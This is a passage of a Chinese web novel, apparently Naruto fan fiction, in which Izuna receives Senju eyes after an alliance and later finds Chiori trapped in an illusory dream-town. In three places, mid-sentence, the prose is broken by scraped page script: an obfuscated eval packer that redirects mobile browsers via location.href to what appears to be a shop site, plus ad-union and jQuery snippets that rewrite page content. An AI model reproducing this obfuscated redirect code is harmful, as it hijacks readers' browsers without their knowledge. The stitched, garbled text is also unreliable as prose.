但就是这份没什么具体利益内容的合约,千手扉间都在里面加了利于千手一方的东西。 不过现在,另一件事放在了明面上。 “宇智波泉奈,谁能把你的眼睛挖出来?”医疗室内,千手扉间语气狐疑。 察觉到挚友气压越发低的千手族长在一旁打着哈哈:“扉间,你就别在意这种问题了,先看看泉奈的眼睛能不能治。” 千手扉间啧了一声,在宇智波族长那仿佛要杀人的目光下开始检查起宇智波泉奈的状态。 ——千手扉间,忍住,这家伙从今往后就是盟友了,把他治好也只是为了同盟的实力,千万别一刀划错方向把人杀了。 千手扉间安静了下来,千手族长拉着他哥在不远处叽叽喳喳。 也不知道千手柱间什么心态,他哥一句话不回,他都能说得这么起劲,也不觉得场合不对。 宇智波泉奈听得心烦,给他检查的千手扉间更是忍无可忍,停下手上的操作:“大哥,安静点!” 堂堂一族之长,竟然真的被他弟弟给吼住了。 宇智波泉奈一边在心中暗讽,一边又因为突然安静下来的室内而心中烦躁。 一股没来由的不安从今天早上起便一直萦绕着他,但是等到结盟仪式结束,泉奈都没等到想象中的千手反水。 轰隆一声—— 窗外突兀地炸响一道雷。 千手族长被雷声吸引了注意力,泉奈听见了推窗的声音:“要下雨了啊。” “今年的第一场春雨,还真是好兆头。”千手柱间的声音喜滋滋的。 “大哥,你要是闲不住,就出去。”千手扉间手上的器械微顿,不耐烦道。 千手族长就又没了声音。 却也没出去。 泉奈心知肚明,两名族长都守在这,是怕他和千手扉间动手,又怕双方的哥哥对对方的弟弟下手。 但千手柱间也没说错,雷声过后,外面很快就响起了淅淅沥沥的雨声。 泉奈有些担心在外面做任务的千织。 不知道她任务做完没有,千织不喜欢雨天,要是为了赶回来,说不定就刚好淋上这场雨了。 千织出门前他不该说那些的。 赶不上也没什么大不了的。 泉奈想。 检查的过程很顺利,千手那边提供的眼睛出乎意料地能够容纳他的瞳力,这个事实再度提醒了宇智波泉奈两族过去是一家人这种糟心事。 千手柱间还在一边火上浇油:“斑,我们果然该是兄弟!千手和宇智波真的……” “千手族长,可以不要对别人的兄长说这种让人误会的话吗?”泉奈没忍住刺了一句。 千手柱间话音陡然顿住,而后他接收到弟弟的死亡视线,有些丧气地垂下头。 宇智波斑看了千手柱间一眼,还是没忍住叹气:“柱间,你这毛病还没改吗?” 这边千手扉间已经开始新的交代。 “要不要换上千手的眼睛你们自己决定,虽然不是写轮眼,但你们宇智波也不是只会依靠写轮眼的家伙吧?”千手扉间看着宇智波泉奈的脸就不爽,“还有一件事要提醒你们——” “不知道你们之前尝试过什么,虽然现在剩下的已经不多了,但你的瞳力里还是融入了一些其他人的瞳力,这种事很危险,而且会加剧瞳力对你身体的破坏,如果想寿终正寝,这种事就别做了。” 说完之后,千手扉间反而因为自己的用词愣了一下。 寿终正寝,这对忍者而言是不可想象的事。 瞳力…… 泉奈知道,千手扉间大概以为是兄长做了什么,但其实是千织为了缓解他的痛苦对他使用过万花筒。 但没想到还会有这种副作用。 能够重获光明,自然是十分重要的事,再加上瞳力的问题再不解决恐怕会影响寿命,就算宇智波泉奈不同意,宇智波斑也会要求泉奈换上。 换眼手术当天就进行了。 换好眼睛后,往日混乱的瞳力终于有了容纳之所,那些加诸于身体上的破坏终于消停下来。 只是眼睛上的纱布还不能拆卸,需要再静养一段时间。 其实这和之前的日子并没什么差别。 其他人陆陆续续地离开了。 斑哥离开前,泉奈忍不住叫住了他。 “哥哥,”泉奈也不知道自己想要说什么,“我的眼睛是千手的……” 宇智波斑将手放到了弟弟的额头上。 “我从来没有介意过这种事,”宇智波斑说道,“我只在意你能不能平安健康。” 面对哥哥极少说出的温情话语,泉奈有些难为情地偏过脑袋。他沉默了一会儿,问起另一件事:“千织有消息了吗?” 宇智波斑闻言不禁嗤笑了一声:“你怎么回事,以往千织出去出任务,也不见你稳得这么频繁。” “今天不一样。”泉奈抿了抿唇,心中的焦躁越发强烈起来。 “她的实力你再清楚不过了,只是一个羽衣一族有关的任务,是你太多心了。”哥哥安慰他。 泉奈被兄长的话暂时安抚下来,时间很快就来到泉奈拆纱布的日子。 拆纱布后需要复查眼睛的状况,泉奈到了医疗所后,负责复查的千手扉间却迟迟没来。 医疗所接待他的医忍是过去宇智波一族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741443|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的药师——替他将眼睛还给斑哥的那人。 他颤颤巍巍地替泉奈拆下纱布,苦着张脸不知道在想什么。 眼前的一切都纤毫毕现,泉奈却来不及感叹重新拥有光明。 “发生了什么?”泉奈直觉不对,皱着眉问他。 他在族中向来积威甚重,摆出一副严肃的样子直接将药师摄住了。 药师眼神躲闪:“……没什么,扉间大人只是有些事耽搁了还没来,您可能需要再等一会儿?” 寻常事能耽误到千手扉间? “我不想再问一遍,回答我。” 药师面如死灰:“我说了斑大人不会放过我的!” 心中的不安陡然拉伸到峰值。 宇智波泉奈不顾药师阻拦直接离开,随便找人问了个路,而后收敛起气息靠近了会议室。 “派去寻找宇智波千织的人尽数失踪,失去联系,不能再这么派人去了,本来这也是你们宇智波内部管理出了问题!”会议室中,一个有些陌生的声音这么说道。 宇智波泉奈呼吸一窒。 明明已经到了春天,却仿佛有股寒气,自他的指尖开始寸寸攀延,要将他整个人都冻住。 另一个声音有些犹疑:“我记得千手承认过,宇智波千织掌握了……木遁?” “其实从宇智波真生回来报信到现在已经一周了,她如果还活着自然会自己回来,何必派人去找?”又有个陌生的声音出声,“现在已经搭进去不少人了,我记得斑大人的部下宇智波火核也在其中?” “连您的得力部下都陷了进去,我们这样的小族又哪里有能力把人找出来?” 都是些陌生的声音,泉奈是在修养期间听过,结盟后不断有其他忍族来投奔。 “事实上,这已经不单单是宇智波千织下落的问题,”泉奈终于听到了一个熟悉的声音,但却是千手扉间的,“以宇智波千织失踪的这片森林为中心,周边的领主都递来了调查雇佣。 “失踪的人远不止我们派去的忍者,还有住在附近的平民、途径此地本该抵达的商队。” “这片区域,有一个未知的东西在吞噬周边的人口,并且范围逐渐扩大,”千手扉间的声音冷厉,“现在放任不管的话,有朝一日或许会扩散到我们这里。” …… 会议结束后,门从里面打开。 开门的忍者冷不丁地被等在门外的泉奈吓了一跳,正要横眉呵斥,却注意到泉奈身上宇智波的服饰,吞下了即将出口的话,并和旁边的人打了个眉眼官司。 泉奈无视出来的人,走了进去。 “千织在哪里失踪的,我要去。”泉奈走到兄长和千手兄弟面前,如此陈述道。 明明出发前还好好的。 明明那时候还担心不能赶上结盟。 不该是这样的。 千织不该是这种结局。 ……在他预想的结局中,即使是他死了,千织也不会死。 “宇智波泉奈,不想现在瞎掉就控制好你的瞳力!”千手扉间的声音陡然传来。 泉奈平复好波动的瞳力,看向千手扉间:“我没有在征求同意,千织在哪里失踪的?” 46.常世1 我好像看到了人生的走马灯。 解决完敌人后,我失去了意识。 意识逐渐下沉,像是在往一潭幽绿的、充满泥沼的池塘下坠。 天空也变成了幽绿色,透着粼粼波光,周围无比安静。 游鱼背着光,落入视网膜的影子是黑色的。我越坠越深,缓缓摇曳的影子也越发邈远、浅淡。 我看见了自己的记忆。 大概是因为对手是族人,所以很多记忆都和族人有关。 集体启蒙时满屋子嘈杂的小孩声音、大一些的时候开始在训练场和同族的小孩互相摔打训练。 我投出的手里剑在飞出去时空间忽然扭曲了一下,像是被幻术遮掩掉短暂地消失,再出现时刺伤了另一边训练的泉奈。 ——原来是这样吗?当初的那枚手里剑。 小时候想溜出族地,守门的族人无奈地提溜起我的领子把我送回家。 我和火核在门口挖坑填埋我吐出来的呕吐物,路过的族人热心地问我们在干什么。 族里的成年忍者们,对我们这些小孩子,大多抱有宽容和善意。 然后是辉。 他的脸模糊极了,仅仅只是站在很远的地方回头看我,夕阳灿烂,他的头发似乎都被镀了层光,而后他再不回头,越走越远。 像鱼的影子,变得小小的,再也不见。 我的脚下碰到了实物,暖黄色的灯笼次第亮起,照亮前路。 前方给人一种温暖的感觉,我忍不住向前走去。 很多人的声音——这辈子的、上辈子的,都杂乱地涌入耳中。 其中一个声音叹息着,从那些嘈杂的声音中争取到了一席之地,被我的听觉神经感知、解析。 ——不要因为幻术而死。 是老师的声音。 我想回答老师,让他不必担心了,因为他的学生我没有死在幻术里。 ……死在了族人手中。 突如其来的难过就这么涌了上来,我停下了脚步,却又不想哭。 人都死了,还要哭,这也太丢脸了。 这么一耽搁,脚下的路突然消失,我又继续下坠。 这一次不是幽绿的池塘了,是一片无边的黑。 在无光的黑暗中,时间与空间的感知逐渐丧失,仿佛我自己也将遗忘我自己,不断地下坠。 我想起传说中的归墟,一切的终结之地,四海之水皆倾倒于此。 或许我正顺着水流坠落于归墟,迎来终结。 我想。 于是我闭上了眼睛。 可眼睛闭上的瞬间,上辈子记忆却止不住地涌了出来。 一开始是学过的课文,书上讲,大道之行也,天下为公;后来又讲,武陵人以捕鱼为业,误入桃花源。* 然后是看过的神话故事,亡灵被审判后,无罪之人进入代表极乐福地的爱丽舍乐园生活,有罪之人接受惩罚;亚瑟王的归处阿瓦隆是亡灵栖息的理想乡。 果然,面临死亡,就会开始想死后的事,但这些地方都不会是我的归处。 我大概会堕入地狱,毕竟我可不是什么无罪之人。 眼睛的位置开始发烫。 上一秒还在思考的内容,下一秒我已经不记得原因。 ——为什么,会认为自己不是无罪之人? 眼睛越发地烫起来,就像是被烧起来一样,让人无法忍耐地睁开眼—— 铺天盖地的火焰正向我席卷而来。 我睁大眼睛,手指已经本能地开始动作结印:“土遁.土流城壁!” 脚下的土地开始迅速抬升,火焰撞上了土遁形成的土壁后消失不见。 我缓缓松了口气。 “千织,你开发了土属性的查克拉?”一个极为熟悉的声音自身后传来,来人正准备触碰我。 我条件反射地伸手擒住他的手,用力摔下,来人却极为轻松地化解了力道,在我面前站了起来—— “……”喉咙似乎堵住了,眼前之人的五官有些熟悉,却不尽然,我不确定地问道,“辉?” 长成少年模样的宇智波辉拍掉衣服上沾染的尘土,冲我露出一个笑容:“你怎么这幅好久不见我的样子?” 少年陡然慌乱了手脚,伸手向往我的脸上糊,却又赶紧打住。他无措地看着我:“你怎么突然哭了?” 我抬手抹掉眼泪,摇了摇头。 “我只是,好像做了一个很长的噩梦,现在梦醒了。” 虽然梦中的一切似乎很可怕,但我现在却不记得内容,只留下了十分难过的感受。 宇智波辉缓缓呼出一口气:“原来只是因为做了噩梦,我还在想你明明学了土遁,怎么一副受了委屈的样子。” 他这么说着,突然僵住了。 同样踩在土遁隆起的高地的少年深深吸了一口气,问我:“千织,你这土遁能变回去吗?” 我呆呆摇头,这是什么奇怪的要求。 “……坏了,就不该在老师的院子里比试,”宇智波辉叹气,又对我说,“千织,你先回去吧,老师那里我来抗。” “老师,出去了吗?”我觉得很奇怪,总觉得老师不会出门。 “他今天去看朋友了,”辉的眼神奇怪起来,“你还是先回家休息一会儿吧,感觉脑子还没清醒过来,刚才竟然敢在火遁里发呆,差点吓死我了。” 我也觉得自己的状态不太对劲,点了点头,找准家的方向,从土壁之上一跃而下,向家的方向走去。 回家的时候,爸爸妈妈都在,只是脸依旧模糊不清。 我用力地眨了下眼,还是看不清他们的五官,遂作罢。 从我转生到这个世界时,大概是眼睛这个位置有点接触不良,这个世界的一部分人的脸,我一直没办法看清楚。 但还好这个世界有查克拉,我能根据查克拉认人。 有时候眼睛可能会突然碰到哪里好了一点,一些之前看不清脸的人,又能突然看清了。 比如住在我家隔壁的堂哥火核。 前两天我看见我那个一直五官模糊的堂哥的脸突然清晰出现在我眼前的时候,差点被吓个半死。 有种熟悉的像素小人突然升维的掉san感。 不过有一说一,火核的脸是真的好看,不愧是我哥。 难怪镇子上不少人明恋我哥。 我一直觉得我穿了个盗版火影,这个世界又是查克拉又是宇智波的,结果又没有木叶,任务也不凶残,没什么 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外乡人没有随便翻箱子搜集镇民家的东西,安全。 外乡人去接了忍者任务……嗯,留待观察。这一项不一定准,毕竟我有时候也接点任务赚零花钱。 外乡人打算买房定居……继续留待观察,万一这是个种田游戏或者游戏刚开放了家园系统呢? 火核说我最近奇奇怪怪的。 他怎么能够理解我的苦恼呢,我是担心他哪天被“外乡人”整蛊试验啊,唉。 但日子过了几天,外乡人们表现都挺正常的,看来不是诡计多端的外乡人们,我终于放下心来。 恢复正常的我上课终于认真了些,然后惊恐地发现,离期末考试只有一周了! 这个各种地方都像极了游戏的世界为什么要在这里写实。 火核幸灾乐祸,说他劝过我了。 我开始复习考试,让他别来碍我眼。 火核没走,问我有没有兴趣接扩建小镇的任务,毕竟镇子里会土属性查克拉的人还是少数。倒是有几个外乡人会,不过人手依旧不够。 火核说:“雇佣金很高,田岛镇长出钱呢。” 我:“你存心打扰我学习,我和你势不两立——等我考完试我就来!” 不过考完试后,我们还没去接扩建小镇的任务,我们从辉那里得知了一个消息。 “你弟弟回来了?”火核问辉。 辉最小的弟弟从小就在镇子外长大,据说是身体不好,得在大城市的医院养病。 辉的神情有些顾虑:“嗯,泉奈昨天刚回来……他对我的态度有点奇怪。” 于是扩建小镇的事被我们暂时放到一边,我问辉:“你弟弟以后也回来上学吗?那我和他不就是同学了?” “可能吧,”辉有些不确定,他又看向我,“你这么好奇泉奈,要不要来我家看看他?” 我眨了眨眼:“可以吗?” 我还有些好奇泉奈的脸会是模糊的还是清晰的呢。 说来也奇怪,田岛镇长家的孩子,我见过的四个里,只有排在第二的斑我看不清脸,其他人的脸都清清楚楚。 47.常世2 镇长家的孩子,排第二的斑果然很特殊。 在去辉家见了泉奈后,我再度确信。 因为泉奈的脸,我也能看清。 火核坐在我边上推了我一下,我这才回过神来,将视线从泉奈脸上挪开。 然后又偷偷地往泉奈那里看了一眼。 再看一眼。 辉坐在泉奈边上正说着什么,好像是在和泉奈说我的事,我也没听进去,就盯着桌子上镇长家的甜点。 看了那碟子点心好一会儿,我没忍住,又看了眼泉奈。 这次被抓了个现行,正对上泉奈移过来的目光。 我不禁睁大眼睛。宇智波泉奈轻轻眨了下眼,唇角弯起,善意地笑了一下。 火核板着一张脸,手从桌子下伸过来扯了下我的衣服。 我慌慌张张地收回目光,伸手拿了块红豆麻薯假装自己在认真吃东西,心脏跳个不停。 天,宇智波泉奈长得也太好看了吧? 我悲哀地觉得我哥的粉丝会被宇智波泉奈的脸夺走大半。 回家后我把我的结论告诉了火核,火核气得用火遁追着我烧。 “我不担心这种事,我看你才是被宇智波泉奈的脸勾走了。”比完一轮忍术,他抱着手,语气毫不留情。 我哇了一声,问他:“哥,你是不是不太喜欢泉奈?” 他斜斜地扫了我一眼:“算不上,但你……离他远点。” 火核后半句说得极为小声。 我又追着他问为什么,他说他怕我追人追得自己家在哪都忘了。 我愤怒握拳:“在你心里我是这种人吗!” 火核愣了一下,而后皱起眉思索起来。 “……不,但你离泉奈远一点。”他再度重复。 “我才不!” 宇智波火核怎么回事啊!这才刚见面呢,他就担心到谈恋爱的事上去了吗! 过了一会儿,火核反应过来:“你刚才是不是没有反驳我你想追他那句话?” 我:“……” 不过火核说的话也不算数。第二天,泉奈来找我了。 听见敲门声后打开门后的我看见泉奈,整个人都愣住了,瞪大眼睛看他。 “泉奈?”我问他。 他微笑着点头,说明了自己的来意。 “开学后我会转回镇子里上学,哥哥说我们同龄,可以打扰你一段时间问问你目前学校的进度吗?” “……嗯,不介意,你先进来吧。”我让开门,心想火核对不起了,这可不是我不离泉奈远一点的。 再说了,我喜欢长得好看有礼貌的人怎么了! 把泉奈安置到客厅,我回房间拿了学校里的教材出来,向泉奈确认我们学的是一个版本。 泉奈看着我拿出来的书,神情微滞,又立刻恢复正常说没问题。 “没问题?”他的回答怎么这么奇怪,直接说一样不就行了吗? “我们上的进度要比教材快一点,已经学到下学期的内容……”我本来还想问问泉奈他以前学校的教学进度,但看见泉奈有些发愁的表情,我当下明白,不用问了。 “嗯……你不介意的话,我的书可以先给你看,有什么问题你也可以问我?”我有些拘谨地问他。 他抬起头来,面上显出几分为难:“这样会不会太麻烦你了?” 我挪开眼睛,假期花在学习上确实很麻烦:“……也没有,我也正好复习一遍。当然你要是只是想看书也没什么问题的!” 我突然意识到,泉奈不会是不想有过多接触吧。 但泉奈就跟没听到我后面打得那句补丁,笑着对我说:“那就拜托你了,千织,真是麻烦你了。” ……哪里感觉怪怪的。 总觉得泉奈不是会示弱的人。 我也不知道这种感觉是从哪里来的。 下午火核来找我出去玩,看见泉奈坐在客厅时,他脸上的笑容差点直接垮下来。 “泉奈,你怎么没和辉他们在一起?”火核勉强问道。 于是泉奈又把上午的说辞重复了一遍。 火核站在客厅入口,沉默好半天,才说:“那我不打扰你们学习了。” 说完,他转身就走。 中途休息的时候,泉奈和我说他因为身体不好,所以记忆也有些模糊。 我有些惊讶:“可你今天记东西的时候很快啊,完全看不出来。” “学习和寻常记忆还是有些区别的,千织你在记东西的时候有过这种状况吗?”泉奈问我。 我抓了抓脑袋,最后残忍地说道:“我觉得我记忆很好。” “比如那些忍术,好多我都没仔细学过,但用的时候就自然而然用出来了。”我觉得自己实在很过分,当着一个说自己记忆不行的人这么说道。 泉奈显得有些好奇:“没仔细学过?” “嗯,大概是在哪里看到过卷轴吧,总之我也不记得我学……”我不禁停顿下来,看向泉奈。 泉奈双眸露出了几丝笑意,微笑着说道:“这也是不记得的地方。” 不知道为什么,我打了个寒颤,不太想继续讨论这个话题。 “反正也不是什么重要的事,这是大脑对我们的保护啦,什么都记得清清楚楚可是一种病呢!”我连忙岔开话题,“说起来,泉奈你一直在外面大城市里长大,外面和这里有什么不一样的?” 泉奈看着我愣了一下,而后垂眸看向桌上的书本,低声道:“你不会喜欢外面的世界。” “这么绝对吗?”话一出口,我就觉得不妥。 泉奈这幅模样显然是在外界受了什么伤,再加上之前辉说泉奈住在外面是为了养病,我都觉得自己能脑补出十万字悲情小作文了。 “……我没什么其他意思,”我轻咳了一声,再度转换话题,“你要吃点什么吗?” 果然,问吃什么永远是最安全的话题! 爸爸妈妈留了泉奈吃晚饭,等泉奈离开后,火核又找了过来。 这次火核的脸色很难看。 “你被骗了,千织,”火核看着我说道,“辉说他没和泉奈提过来找你问学校的事。” 我不解地眨了眨眼睛。 可是,泉奈为什么要骗我? “但是现在也已经答应了嘛,而且泉奈真的没学过下学期的内容,就这样吧。” 我想了想泉奈骗我的后果,好像最严重的后果就是损失了我家的糕点。 问题其实也不大。 借口这种东 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 西,很多人都会找啦,也算不得上骗。 火核用一种恨铁不成钢的眼神看我。 有点熟悉,就好像他以前也这么看过我。 我不禁又想起白天泉奈所说的记忆话题。 ……我的记忆,是不是也在某些地方,不太好? 第二天泉奈也来了。 我没和他说我已经知道他昨天拿辉当借口的事,只是和他说下午我要去老师那里学幻术。 “学幻术?和哥哥一起吗?”泉奈问我。 我点点头。 他又说道:“你和哥哥的关系似乎很好。” 泉奈的语气有些奇怪,可我看过去,他的表情也没什么异常。 “算不上很好吧,应该说是熟悉?”我想起我对辉的搭子定位,如是说道,“我们只是互相练习幻术和忍术的关系,辉和哥哥的关系要好一些。” 泉奈闻言露出了个清浅的笑,重复道:“熟悉,只是练习幻术和忍术的关系。” 我:“……” 怎么感觉阴阳怪气的。 我脑中陡然划过一个可能,问他:“你是不是觉得我这样是抢走了你的哥哥?” 一定是这样!肯定是这样! 泉奈身体陡然一僵,震惊地看向我:“你、怎么知道?” 我就知道是这样! 泉奈这么旁敲侧击打听他哥哥的事,肯定是有原因的! 虽然这个火影世界挺盗版的,我有时候都得忘记这个世界有火影设定,但是在兄弟情上这个世界还是这么还原写实啊。 我在心中感叹道。 尤其泉奈还是宇智波呢! 从小离家没和哥哥们生活在一起的宇智波! buff叠满了! 于是我开始宽慰他,让他不要在意我和辉的关系,我们真的没什么。 泉奈若有所思:“哥哥们都很忙,没有时间和我练习,我也可以找你练习忍术和幻术吗?” !!! 我悟了,宇智波泉奈这是还不相信,觉得把我的时间占满,我就没法去找他哥了! 糊涂啊,泉奈! 这样不还是不能和你哥拉进距离吗!光拉进我们俩距离了啊! 我含糊地回泉奈:“有空的话。” 和辉联系肯定是推不掉的,同学呢。 但是现在放假,抽时间和泉奈一起学习已经是我的极限了。 当天下午去学幻术的时候,我也学着泉奈旁敲侧击的样子去敲辉。 “辉,你和泉奈的关系怎么样了?” 辉突然咳嗽了一下,转头看我:“怎么突然问起泉奈了?” “我在想,他之前一个人一直在外面生活,现在回来会不会有些不习惯,你是泉奈的哥哥嘛……应该会注意到?”我觉得我说得就差明示了。 但辉却说:“泉奈有时候看我的表情,我会觉得有些奇怪。” 我不太理解辉口中的“奇怪”是什么意思,还在思考,辉便继续说道:“不过,我对泉奈的关注,似乎确实有些少。” 听他这么说,我心下顿时松了一口气。 这样一来,被哥哥关照的泉奈一定会很开心的! 总之不要再用那种奇怪的语气说我和辉啦! 48.常世3 连续跟着泉奈复习了好几天,我也受不住了。 泉奈好像也看出了这一点,约我去镇上的市集玩。 他说是为了感谢我这段时间的照顾。 这话也就骗骗家长罢了,我才不信真有人能够一直耐下性子学东西,想玩就直说嘛。 因为镇子上最近来了不少外乡人,我们出来玩这天,刚好在给正式搬进来的他们办欢迎庆典,市集上响着欢快的乐声。 被镇民们围在一起的外乡人们一开始还不太适应,不过过了一会儿就有好几个姓千手的外乡人融进来,一边跳舞一边开怀大笑,热情得反倒把镇民们衬托得像个外乡人了。 剩下的几个外乡人恨不得钻进地里去,就差说他们和那几个千手不是一起的了。 泉奈和我站在人群边上,他睁大眼睛看着里面玩闹的外乡人,表情有几分怀疑人生。 我问他怎么了。 他有些别扭地说看那几个千手笑成这样有几分不爽。 我“诶”了一声:“可是庆典不就是这样吗?大家开开心心地一起吃饭唱歌……” “然后跳舞?”他以一种质疑的目光看我,接上我的话。 我摸了摸鼻子,这个像游戏的世界发生什么都是很正常的嘛,结果被泉奈这么一说,我也觉得有点奇怪了。 感觉被他带偏了。 我回避思考下去,拉着他的手往庆典的人群里走,不和他争辩:“哎呀,你也太严肃了,来试试嘛。” 他错愕地看着我:“等一下,千织!” 我回头看他,周围是欢笑着跳舞的镇民,大片看不清脸的人群中,泉奈清晰可见的面庞上表情逐渐变得无奈起来。 “……” “好吧,随你。”涌动着的人群中,他注意着旁边人的动作,学着他们牵起我的手,随着乐声拘谨地跳起了舞。 有那么一瞬间,世界都仿佛寂静了。 而后,就像是憋着气从水中探出头来,集市上庆典的声音、笑闹声、买东西的吆喝声,更为清晰地传入我的耳中。 泉奈那张俊秀的脸,在眼中清晰可见。 我们掌心相对,他微垂着头注视着我,唇边弯起的弧度微不可见,浅浅地笑着。 清晰可见。 在欢快的乐声之中,如同虫子自脚下缓缓蔓延而上的、起初并不显眼的恐惧,像逐渐上涨的潮水,缓缓上升。 泉奈伸手扶住了我,有点疑惑:“千织?” 我霎时回过神来,刚才那点恐惧又如潮水冲刷后的海岸,消失得干干净净。 “没什么。”我对他笑了笑。 “……”泉奈嘴唇微动,像是说了什么,我没听清。 我不禁问他:“你刚才说什么?” 他没有隐瞒,眉目间带着一股怔忪:“我只是在说,这一切就像梦一样。” 梦? 镇子上的庆典还挺多的,我连忙安慰他:“习惯就好了,以后还有很多庆典的。” 泉奈闻言不禁叹气,我还没问他怎么又叹起气来,他便微微俯身,柔软的唇如蜻蜓点水般在我唇角一触即逝。 “我是说,和你在一起。”泉奈的额头差点就要挨到我的,他的声音低极了,不认真听就会被淹没在周围嘈杂的声音中。 我顿时失去了言语,涨红着脸看他。 脑子里转过了一连串的词,但又一句话都说不出来。 “……我可以理解为,你是喜欢我吗?”好半晌,我才憋出一句话。 泉奈反而像是被我问得愣住了。 我心中暗道不好,难道自己时运不济,刚好遇上了个花心大萝卜—— “嗯,我喜欢你。”掌心相触的手突然被紧紧握住,我闻言不由抬眼看向他,却被他眼中的认真给吓到了。 然后他问:“你呢,千织?你喜欢我哥哥吗?” “……?” 这、这是什么奇怪的问题啊! 我气得狠狠踩了他一下:“你是说我喜欢你哥哥,还和你跳舞,还、还任由你亲过来,问你这种问题?” “宇智波泉奈,你也太讨人厌了!” 我气冲冲地甩开他的手往回走,泉奈追着我挤出人群,把我拉到一边道歉,说什么他只是有点嫉妒他哥哥。 谁信呀,前几天他还嫉妒我和他哥哥走得近呢! 我们边上就是个烤肉摊,烧烤的香辛料气味在空气中弥散开来,勾得我不断嗅闻回头。 泉奈见状拉着我坐下,我一个没忍住,找老板烤了一大把肉串。 回过头来,就又对上泉奈的目光。 我不禁脸颊有些发热,又想起刚才的事:“你看什么?” 泉奈轻轻眨了下眼睛:“我以为,你只喜欢吃甜的。” 想来是因为他最近经常看见我吃甜点。 我悄悄抬眼看他,有了吃的,刚才的气也消了下去。 “……没那么绝对啦,好吃的我都喜欢。”我有些别扭地回答,又想起泉奈还什么都没点,催他去点吃的。 反正我不会把我的分给他! 泉奈再度无奈地笑了笑,从善如流地也跟着找老板点了几串烤串,而后看向我:“千织,我不和你抢。” “……”心思被看透,我不太好意思地别开视线,“别说得你好像很了解我的样子,我们才认识多久。” 他怔了一下,回过神来嗯了一声:“总之我们现在认识了。” ……不该选在烧烤摊边上坐的,这边太热了。 搞得我误解泉奈话里有话,就好像在暗示我什么一样。 不对,他刚才表白了吧?为什么现在跟个没事人一样!反倒是我,情绪起起伏伏的,完全输了! 意识到这一点,我连忙端正神态,假装刚才什么都没发生。 “千织,”等我们的烤肉上来时,我们就坐在摊贩边上看着不知疲倦玩闹着的镇民,我正想着这群人精力是不是过于旺盛了,泉奈突然出声问我,“你很喜欢这里。” 我转头看向他,泉奈也望着广场中心燃烧着的篝火。 喝了酒的镇民们搭着那几个姓千手的外乡人的肩聊天。 一个金色头发姓山中的外乡人正抱着一束不知道是谁塞给她的花,睡意沉沉地靠着同伴的肩。 和谐得像是一幅画。 “当然呀,你不喜欢吗?”不知道为什么,问出这个问题的时候,我的手有些紧张地握紧。 真是奇怪,明明只是问他喜不喜欢这个镇子,又不是问他喜不喜欢我。 “啊。”泉奈黑色的眼睛倒映着篝火温暖的光晕,没有明确回答我,只给了一个肯定的语气词。 “那你,今后会一直留在这里吗?”我又问他。 问出这个问题的时候,我比问上一个问题时还要紧张,紧紧地盯着他。 泉奈转过头来,认真地注视着我。 “你想要我留下来吗?”他问。 “!”好端端的,怎么突然这么问! 问题被甩给我,我瞪大眼睛一时之间不知道怎么回答。 我对他有好感,当然会希望他留…… 不对。 不是这样。 心中有个声音这么说道。 他不能留下来。 宇智波泉奈不该留在这里。 那个声音强硬地这么告诉我。 热闹的小镇庆典、空气中香辛的调料气息与油脂被炙烤出来的滋滋声、人群的欢笑声仿佛在这一瞬都扭曲了起来,变得怪诞、可怖。 然后逐渐扭曲成了一个漆黑的、择人欲噬的黑洞。 ——那是没有终结的终结之地。 我脸色发白,猛地站起身,恐惧地看着眼前的一切。 “千织,你的烤肉——”烤肉摊老板端着烤好的肉过来。 不能待在这里了。 我慌乱地掏出钱袋付了钱,在老板的呼喊声中转身就跑。 为什么,我不希望泉奈留下来? 我又为什么要害怕? 太奇怪了,一切都太奇怪了—— 离开这里,离开这里! “千织!”手突然被人拽住,颤抖的身体被人拉入了一个怀抱,泉奈的声音自耳畔传来,“千织,这里很安全,这里什么都没有,你冷静下来。” 泉奈、小镇。 不对,哪里都不对。 他们不应该同时出现,这是最起始的规则。 宇智波泉奈不该出现在这里。 我头痛欲裂,抓住泉奈的领子,语无伦次:“你不该回来的,你不应该是宇智波泉奈,你回来了,你就不是他,你为什么会出现在这里?” 不知何时暗下的天空之下,泉奈诧异地睁大眼睛。 想想也该知道,任谁被这么稀里糊涂地说了一大堆奇怪的话也该是这样的表情,甚至生气才对。 我放弃了追问,松开泉奈的衣服,想要让他放开我。 或许是我自己出问题了,自从做了那个不记得内容的噩梦后,我的状态就有点奇怪。 或许我应该向泉奈道个歉,然后回家好好休息—— “没有什么不应该,千织。”泉奈却回应了我那些我自己都不能理解的话。 他的手臂更用力了,将我的脑袋按在他的肩膀上。 “我愿意留在这里,我就是来找你的。如果你不愿意回去,我就留在这里陪着你。”泉奈说着我不能理解的话。 “来找我?”我有些茫然地问他。 “是啊,只是你忘记了而已,”泉奈说着与我的记忆完全不一样的内容,“我们是、我们从小一起长大,我们是恋人。千织,我一直都喜欢着你。” 我想,宇智波泉奈可能是从外面回来的骗子,就和上辈子世界那些人贩子一个套路,花言巧语想把我骗出去卖掉。 就像之前火核说的一样,泉奈在骗我。 但是他的骗术也太拙劣了。 于是我说:“无论你说什么,我都不会离开这里的。” 心底却一直有个声音在告诉我,泉奈说的是真的。 泉奈没有说话。 我想,他果然没有话说了。 我现在该把他推开,然后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 警告他别再来招惹我,我的忍术和幻术可不是小孩子玩的。 “没有关系,我也说过了,我会一直陪着你。”泉奈却突然出声。 “但是千织,让其他人离开吧,”泉奈的头发擦过我的耳际,他缓缓松开我,伸手梳理着我有些散乱的头发,“他们很多都是你爱的、你在乎的人,让他们回去吧。” “你喜欢的这个世界,只留下我们两人就好。”他说。 虚假的世界总是经不起推敲的。 镇民们为什么从不去外界? 我为什么从来没有对外面的世界产生过好奇? 自给自足的小镇又是从哪里来的这么丰富的物资? 